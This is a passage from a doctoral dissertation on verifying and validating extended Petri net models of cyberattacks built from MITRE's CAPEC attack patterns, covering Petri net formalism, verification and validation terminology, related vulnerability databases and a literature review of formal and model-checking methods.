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ABSTRACT
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Degree
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College/Department Computer Science
Name of Candidate
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Title

Verification and Validation Methods
for Extended Petri Nets Modeling Cyberattacks

Verification and validation are crucial to establishing the credibility of the
results of a modeling and simulation project. Conclusions drawn from an
unverified and unvalidated model are at best unconvincing, and at worst have the
potential to be dangerous if decisions are made based on outputs from an incorrect
model. In general, the most effective methods of verification and validation
involve comparisons of simulation results with data from observations of the
system or event being simulated.
However, such methods cannot be used if system data is not available.
This is often true of cyberattacks, because the victims of cyberattacks conceal
information related to the attacks, including actors, methods, and impacts. Their
reasons for doing so include damage to reputation, risk of revealing vulnerabilities
that are difficult to remediate, and regulatory constraints. Consequently,
verification and validation of cyberattack models can be a significant challenge.
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CHAPTER I

INTRODUCTION

1.1 Motivation
Interest in cybersecurity has grown tremendously in recent years, due to
the increased use of internet-based services and a frequent flow of news articles
documenting high-profile system compromises. In addition to the increase in risk
introduced by the use of the public cloud, attackers are better resourced, more
sophisticated, and ultimately more determined than ever before. Cyberattackers
now include nation-states attempting to access sensitive information, criminal
enterprises pursuing fraudulent gains, and political activists bent on shaping
policy or public opinion. From the suspected interference in the U. S. national
election process to the alleged nefarious activities of the Chinese Army, the stakes
have never been higher in the protection of information and systems that manage
information.
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Due to the increased risk of compromise and the value of the assets at
stake, research in cybersecurity and cybersecurity modeling has also increased.
Recent examples of cybersecurity modeling projects using Petri nets include
modeling cybersecurity risk using game theory [Musman, 2017], modeling
attacks on computer networks using distributed simulation [Ashtiani, 2014], and
modeling malware propagation using agent-based modeling [Hosseini, 2016]. For
this work, we are using an extended form of Petri nets.
This dissertation research, for the Ph.D. program in Modeling and
Simulation at the University of Alabama in Huntsville (UAH), is part of a multiproject research program on cybersecurity modeling. The key technical concepts
used in the program include the Common Attack Pattern Enumeration and
Classification (CAPEC) and an extension of the Petri net formalism with features
specific to cybersecurity, model composition, and machine learning. For the
research projects in the program to produce results that can be considered useful,
the resulting cyberattack models must be shown to be accurate representations of
actual cyberattacks. This requirement is not unique to this research program.
Verification and validation are essential activities in the modeling and simulation
process and are necessary to determine the credibility and reliability of a model's
results.
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1.2 Research Questions
The following research questions are intended to motivate research into
the verification and validation of the artifacts of the multi-project research
program. The methods are discussed in later chapters.
1.

Are there publicly available data sources that can be used to effectively
validate the CAPEC attack patterns as conceptual models of cyberattacks,
or can appropriate data be assembled?
a. Are there publicly available data sources that can be used to
validate that the methods proposed by CAPEC attack patterns are
actively being used by attackers?
b. Can experiments be constructed to validate that the CAPEC attack
patterns are effective procedures for cyberattacks?

2.

Can subject matter experts be used to accomplish face validation of the
PNPSC nets as executable models of cyberattacks?
a. Can experts validate that CAPEC attack patterns are correct
representations of cyberattacks by relating CAPEC attack patterns
to personal experience with similar attacks?
b. Can experts verify that a PNPSC net is a correct representation of a
CAPEC attack pattern via side-by-side comparison?
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c. Can experts validate that PNPSC nets are correct representations of
cyberattack patterns by examining them relative to personal
experience with similar attacks?
3.

Can formal methods, semi-formal methods, and direct comparison be used
to verify PNPSC nets generated as artifacts of this research program?
a. Can formal representations of PNPSC nets be used to verify the
conditions under which these nets will terminate in goal states, as
specified in the CAPEC attack patterns and in the requirements
model, of either the attacker or the defender, and that those states
are reachable?
b. Can automated methods, such as symbolic execution or model
checking, be effective in verifying that model constraints, as
specified in the CAPEC attack patterns and in the requirements
model, are not violated in the execution of the PNPSC nets?
c. Can comparisons between the CAPEC attack patterns, the autogenerated PNPSC nets, the executable model requirements, and
simulation results verify the correctness of the executable models?
Figure 1.1 illustrates the artifacts of the research program and the

comparisons to verify and validate those artifacts. The artifacts of the program are
described below, as well as the transformations and comparisons that comprise
verification and validation.
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Figure 1.1: Research questions

•

Artifacts
o CAPEC Attack Patterns: The CAPEC attack patterns are descriptions
of classes or categories of similar cyberattacks, as documented in the
CAPEC database. In this work, they are used as input to the process of
manually developing or automatically generating executable models of
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the attack patterns they describe. The CAPEC attack patterns are
described in Section 2.4.
o Actual Cyberattacks: Actual cyberattacks, which are the subject of the
models and are simulated by executing the models.
o Datasets from actual or experimental cyberattacks: Datasets that are
externally generated, including the Common Vulnerabilities
Enumeration, and the results of experiments conducted on simulated
computer networks as part of this research. The Common
Vulnerabilities Enumeration and other datasets are described in
Section 3.2.1.
o PNPSC Formalism: The PNPSC formalism is an artifact of this
research program and is the modeling method or formalism used to
model cyberattacks. The PNPSC formalism is documented in Section
4.2.
o Executable Model Requirements: This document specifies the
acceptance criteria for the verification activities performed. The
requirements are specified in Appendix A PNPSC Net Generation
Requirements.
o PNPSC Nets: Executable models generated from the CAPEC attack
patterns, defined formally using the PNPSC formalism, in compliance
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with the Executable Model Requirements. PNPSC Net execution is
described in Section 4.5.
o Simulation Results: data collected from execution(s) of cyberattack
model(s).
•

Transformations
o Data collection (from Actual Cyberattacks to Datasets from actual or
experimental cyberattacks): Data from actual cyberattacks is used to
construct datasets to inform systems owners and for research.
o Experimental execution (from CAPEC Attack Patterns to Datasets
from actual or experimental cyberattacks): Experiments are conducted
that are intended to show the validity of the CAPEC attack patterns.
o Development (from CAPEC Attack Patterns to PNPSC Nets):
Development of executable models, as PNPSC nets. This process and
an example are presented in Section 4.5.
o Simulation (from PNPSC Nets to Simulation Results): Data collected
from the execution of PNPSC nets.

•

Verification and validation comparisons1

1

Verification and validation activities are always comparisons [Petty, 2010].
Verification and validation are discussed in Chapter 3.
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o 1a, 1b Validation based on data (between CAPEC Attack Patterns and
Datasets from actual or experimental cyberattacks): Validation to
answer research questions 1a and 1b, which occurs when the CAPEC
attack patterns are compared to data collected from actual
cyberattacks, or from experiments performed to validate the CAPEC
data.
o 2a Face Validation (between CAPEC Attack Patterns and Actual
Cyberattacks): Validation to answer research question 2a, where
cybersecurity experts assess the validity of the CAPEC attack patterns
based on knowledge and experience of actual cyberattacks.
o 2b Verification (face validation) (between CAPEC Attack Patterns and
PNPSC Nets): Verification to answer research question 2a, where
cybersecurity experts are asked to compare the CAPEC attack patterns
to the executable PNPSC nets. Although structured face validation
methods are used to assess this transformation, it results in
verification, since the comparison is between artifacts, and not to the
simuland2.

2

A simuland is the subject of a simulation study. Verification, validation, and
simuland are defined in Section 2.1.
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o 2c Face Validation (between PNPSC Nets and Actual Cyberattacks):
Validation to answer research question 2c, where cybersecurity experts
assess the validity of the PNPSC nets based on knowledge and
experience of actual cyberattacks.
o 3a Verification (between CAPEC Attack Patterns, Executable Model
Requirements, and PNPSC Nets): Verification to answer research
question 3a, which verifies the PNSPC nets by comparing to the
CAPEC attack patterns and the executable model requirements.
o 3b, 3c Verification (between PNPSC Formalism, Executable Model
Requirements, and PNPSC Nets): Verification to answer research
questions 3b and 3c, which verifies the PNSPC nets by comparing
them to the PNPSC formalism and the executable model requirements.
1.3 Dissertation Structure
The chapters of this dissertation are organized as follows. Chapter 2
provides essential background. Chapter 3 continues with a review of relevant
literature. Chapter 4 presents a formalism expressly developed for modeling
cyberattacks, the structure of the research program, and an example application.
Chapters 5 and 6 discuss verification methods, including direct comparison and an
incidence matrix reduction method that finds all paths and resulting markings to
states that can be reached through a series of enabled state transitions that are
executed. Chapter 7 discusses structured face validation and describes results
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from face validation sessions. Chapter 8 defines a validation method,
experimental validation, that was developed to validate cyberattack models, as
well as the results of applying that method to the PNPSC nets. Chapter 9 reviews
conclusions and identifies opportunities for future work.
When the term "program" is used, it means the collection of multiple
interlocking research projects discussed in Section 4.3. When the term "project" is
used, it means one of the projects that comprise the research program. This
includes this research project to develop methods and processes to verify and
validate the cyberattack models developed as part of the other projects in this
research program.

10

CHAPTER II

BACKGROUND

The sections of Chapter 2 include a discussion of relevant terminology,
descriptions of the standard Petri net formalism, and a definition of an extended
Petri net formalism that serves as a foundation for this research program.
2.1 Definitions and foundation
As a foundation for this research, some definitions of terms related to the
practice of modeling and simulation are necessary. Unless otherwise noted, the
source of these definitions is [Petty, 2010].
A simuland is an "object, process or phenomenon to be simulated". In the
case of this program, the simuland is the cyberattack process from the perspective
of the attacker and the defender.
The referent is the collection of relevant facts and information known
about the simuland by the modeler.
A model is a "representation of something else" or a "representation of a
simuland".
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A conceptual model is a representation of the simuland that has been
developed to communicate information about the simuland, either as
documentation or as the basis for developing an executable model of the
simuland. The conceptual model may take many forms including mathematical
formalisms, graphical representations, or databases. In modeling and simulation,
it is typical to omit simuland details that are not relevant to the desired
application. These abstractions are realized in conceptual models and the resulting
conceptual model should faithfully represent the simuland adequately for the
intended application.
Executable models are representations of the simuland that can be
executed on an appropriate simulation platform. Executable models take many
forms including training systems, analysis tools, and entertainment games.
Executable models are often executable implementations of conceptual models.
This means that conceptual models can be considered requirements or
specifications for the development of the resulting executable models.
Simulation is the "process of executing a model…over time" [DOD,
2009]. In some cases, the passage of time is observable as the simulation runs
and in others, it is not. Computer games are examples of simulations where the
passage of time is an observable element of the simulation. Financial modeling
systems are examples of simulations where time is not directly experienced by the
person running the simulation.
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The execution of an executable model produces simulation results that can
be analyzed for drawing conclusions. Models are often instrumented with code or
mechanisms to collect data during a simulation for later analysis.
Requirements stipulate "what must be modeled and how accurately".
Gathering requirements for a modeling and simulation project is a non-trivial
process [Loftin, 2005]. Software engineering methods of gathering and modeling
requirements can be effective in modeling and simulation.
Verification is "the process of determining if model implementation and
its associated data accurately represent the developer's conceptual description and
specifications" [DOD, 2009]. Verification in modeling and simulation is similar
to verification in software engineering projects in that the models are compared to
the requirement specifications. In modeling and simulation, however, verification
"examines transformational accuracy, that is, the accuracy of transforming the
model's requirements into a conceptual model and the conceptual model into an
executable model" [Petty, 2010].
Validation is "the process of determining the degree to which a model or
simulation and its associated data are an accurate representation of the real world
from the perspective of the intended uses of the model" [DOD, 2009]. Validation
differs from verification in that validation is concerned with showing that the
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modeling and simulation artifacts adequately represent the simuland for the
intended purpose.
All verification and validation methods are comparisons between artifacts
of the modeling and simulation lifecycle, whether those artifacts are input sources
or products of the modeling and simulation sub-processes.
2.2 Petri nets3
Petri nets were first formally described in the dissertation of Carl Petri in
1962. The Petri net formalism is an abstract formal modeling language or
notation [Petri, 1962] [Murata, 1989] [Reisig, 2013]. Petri nets can model
distributed, discrete, and dynamic systems. The semantics of Petri nets are
oriented towards modeling sequence, concurrency, and synchronization in
processes, networks, and workflows. The Petri net formalism has proven highly
flexible and extensible. Example application domains including workflow
management [Van Der Aalst, 2004], industrial applications [Zurawski, 1994], and
automated manufacturing [D'Souza, 1994].
Formally, Petri nets are directed, bipartite, weighted graphs. Informally,
Petri nets are sets of places and transitions, with arcs connecting places to
transitions and transitions to places. There are no arcs from places to places or

3

Some material in this section is adapted from [Petty, 2019].
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from transitions to transitions. The places are depicted graphically as circles and
the transitions are depicted as bars or rectangles. A place represents a condition
in the system or process being modeled by the Petri net. If a place contains a
token, that condition is interpreted as true. The presence or absence of tokens in
the places of a Petri net is referred to as the Petri net's marking. A Petri net's
marking when its execution begins is called its initial marking. A transition
represents an action or event that may change the state or condition of the system.
Transitions may have one or more input places, denoted by arcs directed from the
place(s) to the transition, and one or more output places, denoted by arcs directed
from the transition to the place(s). The number of input and output places of a
transition need not be the same. If all input places to a transition contain at least
one token, that transition is enabled. Enabled transitions may fire, which is
interpreted as the action represented by the transition occurring. When a
transition fires, a token is removed from each of its input places and a token is
added to each of its output places. The change in the marking of the Petri net that
results from the firing is interpreted as a change in the state of the system or
process the Petri net is modeling.
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Figure 2.1: A Simple Petri Net
Figure 2.1 is a graphical representation of a simple Petri net. In Figure
2.1, 𝑝1, 𝑝2 , and 𝑝3 are places and 𝑡1 is a transition. Places 𝑝1 and 𝑝2 are marked,
indicated by the black dots, which represent tokens.
Places 𝑝1 and 𝑝2 are input places to transition 𝑡1 because there are arcs
from 𝑝1 to 𝑡1 and from 𝑝2 to 𝑡1 . Set {𝑝1, 𝑝2 } is also called the preset of transition
𝑡1 for the same reasons. Transition 𝑡1 is enabled in the figure because each input
place is marked, signifying that the prerequisite conditions for a state transition
are satisfied. Once transition 𝑡1 fires, place 𝑝3 will be marked with a single token,
and the tokens in places 𝑝1 and 𝑝2 will be removed.
Place 𝑝3 is called an output place for transition 𝑡1 because there is an arc
from 𝑡1 to 𝑝3 . Set {𝑝3 } is called the postset of transition 𝑡1 .
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In some Petri net models, tokens can represent the flow of objects, but in
the Petri nets used in this research, the tokens indicate whether a particular
condition is true or a state exists.
A standard Petri net [Petri, 1962] [Reisig, 2013] [Murata, 1989] is
formally defined as a 6-tuple 𝑃𝑁 = (𝑃, 𝑇, 𝑊, 𝐵, 𝑀0 , 𝐿), where
● 𝑃 = {𝑝1 , 𝑝2 , … 𝑝𝑛 }; a finite, non-empty set of places
● 𝑇 = {𝑡1 , 𝑡2 , … 𝑡𝑚 }; a finite, non-empty set of transitions
● 𝑊 = (𝑃 × 𝑇) ∪ (𝑇 × 𝑃); set of arcs from places to transitions and from
transitions to places
● 𝐵: 𝑃 → 𝑍 + ∪ ∞; upper bound on tokens per place
● 𝑀0 : 𝑃 → 𝑍 + ∪ {0}; initial marking of tokens in places, with
0 ≤ 𝑀0 (𝑝) ≤ 𝐵(𝑝) for every 𝑝 ∈ 𝑃
● 𝐿 = 𝑊 → 𝑍 + ∪ {−1}; arc weights for the arcs in 𝑊
The set 𝑀∗ is the set of all possible markings is implied by 𝑃 and 𝐵, where
𝑀𝑖 belongs to 𝑀∗ , for 𝑖 = 0, 1, 2, …. The current marking at the time of firing is
denoted by 𝑀 or 𝑀𝑖 , where 𝑖 is a time step or firing step, 𝑀𝑖 ∈ 𝑀∗ for all i ≥ 0.
A marking 𝑀𝑖 can be represented as a one-dimensional array where the
elements of the array are integers that are the number of tokens marking the place
corresponding to a location in the array. Referring again to the Petri net in Figure
2.1, assume that the array representing a marking of the array 𝑀𝑖 is ordered
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[𝑝1 , 𝑝2 , 𝑝3 ]. In the figure the initial marking is 𝑀0𝑇 = [1,1,0]4, and the marking
after the transition 𝑡1 fires is 𝑀1𝑇 = [0,0,1]. Although tokens are in both 𝑝1 and
𝑝2 in the initial marking, there is only one token marking 𝑝3 after 𝑡1 fires. In
general, the number of tokens is not conserved across transition firings.
2.3 Verification and validation
Verification and validation are necessary to determine the credibility of
models so that the resulting analyses are trustworthy. Validation is a process of
building confidence in simulation results to an acceptable level for the model's
intended use. The initial assumption is that the model is invalid, and the validation
process produces evidence that increases confidence that the model is valid
enough to be useful. In many cases, it is impossible to thoroughly validate a
model [Robinson, 1997].
Because of the sensitive nature of the related information, cyberattacks are
an example of an "unobservable" simuland. Hermann, among others, noted that it
is particularly difficult to validate models when the simuland is unobservable
[Hermann, 1967].

𝑀0𝑇 is the transpose of the column matrix that specifies the initial marking. The
transpose is used for readability and to remain consistent with the definitions in
Chapter 6.
4
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That is not to say that unobservable models cannot be validated.
Unobservable models can be validated using special methods, including those
developed in this work.
2.4 Common Attack Pattern Enumeration and Classification (CAPEC)
The CAPEC database is a collection of conceptual models representing
classes of cyberattacks.5 This database is a product of the MITRE Corporation
and sponsored by the U. S. Department of Homeland Security (DHS)
Cybersecurity and Infrastructure Security Agency (CISA) [MITRE Corporation,
2020a].
Attack patterns are descriptions of the common attributes and approaches
employed by adversaries to exploit known weaknesses in cyber-enabled
capabilities. Attack patterns describe the steps that an attacker might take to
attack a vulnerable system. Each CAPEC entry describes a specific type of
cyberattack; for example, its entries include Cross-Site Scripting (CAPEC-63),
SQL Injection (CAPEC-66), and Spear Phishing (CAPEC-163). The CAPEC
database entries are available in two forms: human-readable text, which is
displayed online, and XML, which can be downloaded and processed.

5

Some material in Section 2.4 is from [Whitaker, 2019] and [Bland, 2018].
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The CAPEC database also provides methodologies and mitigations on
how to create and maintain software securely. The CAPEC database is meant to
be used in both academic and professional environments to increase awareness of
software vulnerabilities and their solutions.
There are three levels of abstraction defined by the CAPEC classification
scheme: Meta, Standard, and Detailed. A meta-level attack pattern in the CAPEC
classification scheme is an abstract characterization of a specific methodology
used in an attack. As of CAPEC version 3.4, there are 59 meta-level attack
patterns. Meta-level attack patterns are high level and usually lack definitive
technology or application. A meta-level attack pattern generalizes standard-level
attack patterns. Meta-level attack patterns are particularly useful for architecture
and design threat modeling exercises. In context, meta-level abstractions are nonspecific in technology and functionality. They often define approaches to
considering how to violate assumptions made in software [MITRE Corporation,
2020a].
A standard-level attack pattern in the CAPEC classification scheme is
focused on a specific methodology used in an attack. Furthermore, it is a specific
type of a more abstract meta-level attack pattern. Currently, there are 168
standard-level attack patterns in the CAPEC database. A standard-level attack
pattern is considered a classification of a set of cyberattack types with similar
methods and attributes. In context, standard-level attack patterns are typically
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functional, but technology nonspecific. They often define actionable approaches
to exploiting specific weaknesses in software [MITRE Corporation, 2020a].
A detailed-level attack pattern in the CAPEC classification scheme
provides extensive technical details, typically leveraging a specific method and
targeting a specific technology and expresses a complete execution flow.
Currently, there are 300 detailed-level attack patterns in the CAPEC database.
Compared to meta-level attack patterns and standard-level attack patterns,
detailed-level attack patterns are more specific. A detailed-level attack pattern
often will leverage several different standard-level attack patterns chained
together to accomplish a goal. In context, detailed-level attack patterns are
functional and technology-specific. They often define a specific delivery vector
and/or attack content [MITRE Corporation, 2020a].
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CHAPTER III

LITERATURE REVIEW

Chapter 3 reviews the literature on modeling paradigms, verification and
validation methods, program research to date, and other topics related to this
research.
3.1 Verification
Verification is the process of determining whether or not a model
complies or does not comply with its design [Petty, 2010].
In addition to properly representing the CAPEC attack pattern definitions,
the auto-generated nets should be valid PNPSC nets, as well as comply with the
requirements specified in this research program. Appendix A includes the set of
requirements specified for the generation of automated PNPSC models.
According to Whitner and Balci, using multiple verification methods can
increase the overall effectiveness of the verification process [Whitner, 1989]. For
instance, constraint analysis methods, such as assertions, have been combined
with predicate calculus for an effective verification method.
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Multiple methods are used to verify compliance with the requirements
model for this research program.
3.1.1

Formal methods
Selected literature regarding formal verification methods that can be

applied to Petri nets and executable models are summarized in the following
sections.
3.1.1.1 Predicate Calculus and Extensions
Predicate calculus as a formal verification method is an application of the
like-named logic system. The elements of predicate calculus, also known as firstorder logic, include variables, predicates, and quantifiers. Constants represent
objects. In the context of Petri nets, constants can denote places and transitions.
Functions in first-order logic can be represented by sets of ordered pairs, where
elements of the domain map to unique elements of the range. Predicates are
conditions, or conditional functions, on the element(s) of the domain that assert
some property of the element, and is either true or false [Russell, 1995].
Examples of predicates include the presets and postsets of transitions. A
syntactically correct combination of constants, functions, and predicates is called
an expression, which may consist of several subexpressions.
Using predicates to verify Petri nets has been studied extensively in
[Ghezzi, 1991] and [Felder, 1994]. In both studies, the authors use a first-order
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predicate language known as TRIO to analyze Petri nets that model real-time
systems. TRIO is particularly useful for modeling real-time systems where the
need to verify that operations will complete within a specified maximum time
interval is desirable.
Extensions of predicate calculus can be used to verify the execution of a
model. Linear temporal logic (LTL) and computation tree logic (CTL) are
extensions of predicate calculus. Linear temporal logic examines the truth of
statements along a path of execution within a model. In LTL, time is modeled as
a series of states. Computation tree logic, also known as branching-time logic,
models time as a series of possible states dependent on the branches made during
execution [Huth, 2004].
Linear temporal logic formalizes temporal logic with connective operators
such as "some future state", "next state", and "all future states". An LTL formula
can be used to determine the existence of future states. Computation tree logic is
also a temporal logic but is distinguished from LTL in that CTL formulas can
express that some conditions hold over all execution paths. Some expressions can
be conveyed effectively in LTL and not in CTL as well as expressions that can be
conveyed in CTL but not in LTL. Continuous stochastic logic (CSL) represents
efforts to bring the capabilities of LTL and CTL together in a single formalism.
Continuous stochastic logic contains two types of formulae: state formulae and
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path formulae. State formulae are true in given states and path formulae are true
along paths [Aziz, 2000] [Huth, 2004] [Schwarick, 2009].
3.1.1.2 Matrix Operations
In many cases, it is convenient to represent the marking of a Petri net as a
matrix. Given a Petri net 𝑃 with 𝑚 places and 𝑛 transitions, the matrix 𝐴 = [𝑎𝑖,𝑗 ],
called the incidence matrix of 𝑃, is the 𝑚 × 𝑛 matrix where 𝑎𝑖,𝑗 is the sum of the
number of tokens entering and leaving place 𝑖 on the execution of transition 𝑗.
Tokens entering place 𝑖 increase 𝑎𝑖,𝑗 when transition 𝑗 executes, while tokens
leaving decrease 𝑎𝑖,𝑗 .
Suppose that a marking of a Petri net is represented as a column vector
𝑀 = [𝑚𝑖 ] where 𝑚𝑖 is the number of tokens marking place 𝑖 in the current state
of the net. After 𝑘 transitions, the state of a Petri net can be represented by the
equation
𝑀𝑘 = 𝑀𝑘−1 + 𝐴𝑢
⃗𝑘
where 𝑢
⃗ 𝑘 = [𝑢𝑖 ] is a column vector representing the 𝑘th transition with 𝑢𝑖 = 1 if
transition 𝑖 fires, and 𝑢𝑖 = 0, otherwise [Murata, 1989] [Reisig, 2013].
After transition 𝑘, the net can also be represented by
𝑀𝑘 = 𝑀0 + 𝐴 ∑𝑖=1,𝑘 𝑢
⃗𝑖
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A reachable state in a Petri net is a state that can be reached from the
initial marking 𝑀0 through a series of transition firings. A coverable marking
𝑀𝑘 in a Petri net is a state that is reachable and there exists a reachable state 𝑀𝑘′
where 𝑀𝑘′ (𝑝) ≥ 𝑀𝑘 (𝑝) for all places 𝑝 ∈ 𝑃. Coverable markings are important in
the analysis of unbounded Petri nets. A place invariant, or P-invariant, of a Petri
net, is a subset of places where the count of tokens in those places is constant in
any reachable state. A transition invariant, or T-invariant, is a sequence of
transitions that can lead from a marking back to that same marking. A Petri net is
considered safe when an invariant exists [Murata, 1989].
Numerous results have been derived from these formalisms including Petri
net reachability, coverability, boundedness, and other potentially relevant
properties. Many of those properties can be represented by invariants.
Cayir and Ucer demonstrate an algorithm for finding a basis for place
invariants of a Petri net based on Farkas' method [Cayir, 2005]. Farkas' method
was also presented and demonstrated capable of parallel execution in [Marinescu,
1991].
Esparza and Nielsen discuss properties of Petri nets and note that many
Petri net properties are undecidable in general, although in some cases they are
decidable on certain classes of Petri nets. They suggest that boundedness can be
proven using a coverability tree approach. It may also be possible to show
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reachability, although reachability, for many classes of nets, is known to be NPComplete [Esparza, 1994].
Reisig demonstrates that invariants can be expressed as equations and
inequalities. Furthermore, place invariants are shown to be powerful tools in
proving net properties [Reisig, 2013].
Lin et al use a combination of predicate calculus and matrix algebra to
find T-invariants [Lin, 1993]. In this paper, a transition is enabled whenever a
Horn clause representing the transition can be satisfied. A Horn clause is a
combination of predicates in conjunctive normal form that imply a literal, and in
this case a transition. For example,
𝐴 ← 𝐵1 ∧ 𝐵2 ∧ … ∧ 𝐵𝑛
In the method used by Lin et al, the 𝐵𝑖 represent places in the preset of
transition 𝐴. The Horn clause above states that when all 𝐵𝑖 are marked, the
transition 𝐴 is enabled. The method uses the incidence matrix to find all paths to a
goal state.
3.1.2

Semi-formal methods
Literature related to semi-formal verification methods applicable to Petri

nets and executable models is assessed in the subsequent subsections.
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3.1.2.1 Symbolic Analysis
Symbolic analysis is a process of analyzing a dynamic model and
designing a predicate calculus representing the system artifacts of interest. These
predicate models are examined with the intention of finding collections of
reachable states based on the structure and values of variables.
In a Petri net, these collections of reachable states are based on transitions
occurring as the model executes. In models developed in this research, there is
often more than one path to a given reachable state. Reachable states can be found
using depth-first search, breadth-first search, or any number of well-known
algorithms. These methods all suffer from the state explosion problem, where the
number of possible distinct markings to consider becomes impractically large.
Moreover, it may be possible to reach some states multiple times as a Petri net
simulation executes.
One method of alleviating state explosion is coverability analysis. In
coverability analysis, a marking is only added to the search queue if no marking
previously considered marks the same set of places. While it will reduce the
search time in unbounded Petri nets, coverability analysis does not facilitate the
assessment of certain net properties, such as reachability [Murata, 1989].
One popular symbolic analysis method, the binary decision diagram
(BDD) [Coudert, 1989], also suffers from the state explosion problem. Many
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variants of the BDD have been utilized to analyze system properties, but the
balance between processing and storage is a challenge [Hong, 1999]. In attempts
to address these challenges in symbolic analysis, a formalism known as the
interval decision diagram (IDD) was developed. In the IDD formalism, symbols
representing ranges of values are used as opposed to concrete values during model
execution.
In addition to his investigation of IDDs, Tovchigrechko also examined
Reduced Ordered IDDs (ROIDD) as analysis tools for Petri nets. An Ordered IDD
(OIDD) is an IDD with a variable ordering, which means that paths of the IDD
contain each variable in the same order. A ROIDD is an OIDD with no two
subgraphs that are isomorphic [Schwarick, 1980].
Hong and Beerel use a dynamic programming method to assess
reachability for large finite state machines and demonstrated that it could
substantially decrease reachability analysis run-time [Hong, 1999]. Badouel et al
show that some Petri nets that include extensions to the base definition are
isomorphic to finite state machines [Badouel, 2002]. These facts suggest that
there may be dynamic programming algorithms that reduce the impact of the state
explosion problem. Note that [Hong, 1999] is based on the formalism BDD,
which is a modeling method that the IDD was developed to improve on.
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Schwarick and Heiner use a method based on CSL that attempts to limit
state explosion at the expense of some additional computation [Schwarick, 2009].
Aziz et al present a proof that CSL model checking is decidable [Aziz, 1994].
In summary, there are formalisms, including the IDD and extensions, that
are effective in modeling Petri nets, as well as other concurrent models, in that
they are not as sensitive to state explosion. IDDs have also been shown to be
effective in verifying important Petri net properties in compact matrix-free
representations [Strehl, 1999] [Schwarick, 2009] [Tovchigrechko, 2008].
3.1.2.2 Model Checking
Model checking is an automated semi-formal method of executable model
verification. Symbolic execution is a model checking process of instrumenting an
executable model with assertions based on predicates derived using symbolic
analysis and executing the model to ascertain compliance with the assertions. An
assertion is a condition that is true or false during program execution. An
assertion can be used as an experiment that “distinguishes incorrect behavior in a
surrounding context while leaving correct behavior of the surrounding context
unaltered" [Lippincott, 2016]. Symbolic execution can be used to check program
correctness by executing a program over all paths using symbols instead of
concrete values for branching variables [King, 1976].
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There are several symbolic model checkers for Petri nets. One example of
Petri net analysis tools is pnmc [Hamez, 2016]. States and transitions are encoded
using BDDs in pnmc. During execution, pnmc checks families of states
symbolically, as opposed to one at a time. The file formats accepted by pnmc are
TINA, ndr, NUPN and PNML6.
A form of model checking related to attack and defense strategies is
presented by Aslanyan and Parker in [Aslanyan, 2016]. The foundation of the
methods presented are a formalism known as the attack-defense tree. The authors
show that the attack-defense tree is equivalent to stochastic two-person games as
well as discrete-time Markov chains. These mappings facilitate quantitative model
checking and computation of equilibrium strategies.
Lin et al show that equilibrium strategies can be found in an attackdefense scenario modeled as a stochastic game Petri net7 by examining the
reachability tree [Lin, 2012]. This method also suffers from the state explosion
problem.

6

The executable PNPSC models generated in this program are formatted in an
extension of PNML. See Section 5.2.
7
The stochastic game Petri net is a formalism which combines elements of game
theory with Petri nets. The formalism is defined in the cited reference.
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Wolf claims that Low Level Analyser 2 (LoLA) is a significant step
forward in Petri net model checking [Wolf, 2018]. As evidenced by awards
claimed at model checking contests, LoLA 2 is faster than similar model checking
platforms.
3.2 Validation
Validation is the process of determining whether a model properly
represents the simuland. Petty says that validation is a process of determining "the
accuracy of representing the simuland in the conceptual model and in the results
produced by the executable model" [Petty, 2010]. Among the artifacts in this
modeling and simulation research program as illustrated in Figure 1.18, the
CAPEC attack pattern definitions are conceptual models representing instances of
a class the simuland, cyberattacks. According to Sargent, conceptual model
validation is "determining that the theories and assumptions underlying the
conceptual model are correct and that the model representation of the problem
entity is ‘reasonable' for the intended purpose of the model" [Sargent, 2013].
3.2.1

Validation based on data
In order to validate the CAPEC attack pattern definitions as conceptual

models, data gleaned from instances of actual cyberattacks could be used.

8

Figure 1.1 is in Section 1.2.
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However, [Kent, 2016] notes several challenges with obtaining data sources for
cybersecurity research, including
● Privacy of the individuals represented in the data captured
● Specifics of systems' designs that make the systems vulnerable to further
attacks
● Dataset complexity due to
o Lack of normalization
o Size
o Time skew
For these reasons, the availability and suitability of high-quality data that
can be analyzed for validation purposes are extremely limited.
3.2.2

CAPEC and related databases
The CAPEC database is part of a larger system of structured data

describing cybersecurity related artifacts of information systems. Many of these
datasets are constructed and maintained by the MITRE Corporation, in
cooperation with U. S. Government agencies, include the DHS CISA and the
National Institute of Standards and Technology (NIST).
The use of the term "patterns" to describe the elements of the CAPEC
database follows from concepts similar to design patterns in software or systems
engineering. The CAPEC attack pattern definitions are representations of
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"common attributes and approaches employed by adversaries" to attack
information systems. The CAPEC attack pattern definitions are purported to be
"generated from in-depth analysis of specific real-world exploit examples"
[MITRE Corporation, 2020a].
The attack patterns conveyed in the CAPEC database are accessible
through a human-readable website and as XML. The XML representations are
used in all projects represented in Figure 1.1.
Many of the CAPEC attack pattern definitions are related to specific
system weaknesses. For a system to be vulnerable to an attack there must be a
weakness, and because attack patterns are generalizations of similar attacks,
systems that have weaknesses in common may be vulnerable to related attack
patterns. Weaknesses are documented in the Common Weaknesses Enumeration
(CWE) in a manner similar to the CAPEC attack pattern definitions. The CWE is
represented textually on a website and as XML, similar to the CAPEC database.
The CWE is also constructed and maintained by the MITRE Corporation. MITRE
defines a weakness as a "type of mistake that, in proper conditions, could
contribute to the introduction of vulnerabilities" [MITRE Corporation, 2020c].
A dictionary of vulnerabilities is also assembled and enumerated by
MITRE Corporation. A vulnerability is defined as a "flaw in a software, firmware,
hardware, or service component resulting from a weakness that can be exploited,

34

causing a negative impact to the confidentiality, integrity, or availability of an
impacted component or components". The Common Vulnerabilities Enumeration
(CVE) is a dictionary that enumerates weaknesses demonstrated in systems that
may be in use by organizations. While the CVE is separate from the National
Vulnerability Database (NVD) which is owned and maintained by NIST, the
"CVE List feeds NVD, which then builds upon the information included in CVE
Records to provide enhanced information for each record such as fix information,
severity scores, and impact ratings" [MITRE Corporation, 2020b] [National
Institutes of Standards and Technology, 2020a].
There are other elements of this system of related data elements, including
the Common Platform Enumeration (CPE) [National Institutes of Standards and
Technology, 2020b] and the Common Configuration Enumeration (CCE)
[National Institutes of Standards and Technology, 2020c]. Vulnerabilities may
exist in platforms or configurations or both. All these datasets, including CAPEC,
CWE, and CVE, are sponsored by DHS CISA.
Metrics have been created to assess the weaknesses and vulnerabilities of
systems for potential severity and impact. For example, weaknesses enumerated
by CWE can be measured using the Common Weakness Scoring System (CWSS).
The CWSS is a system of measurement developed in collaboration between
MITRE and leaders from industry and government. The CWSS endeavors to
provide a method of prioritizing weaknesses in systems through an open
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framework that can be customized in support of the risk profile of an
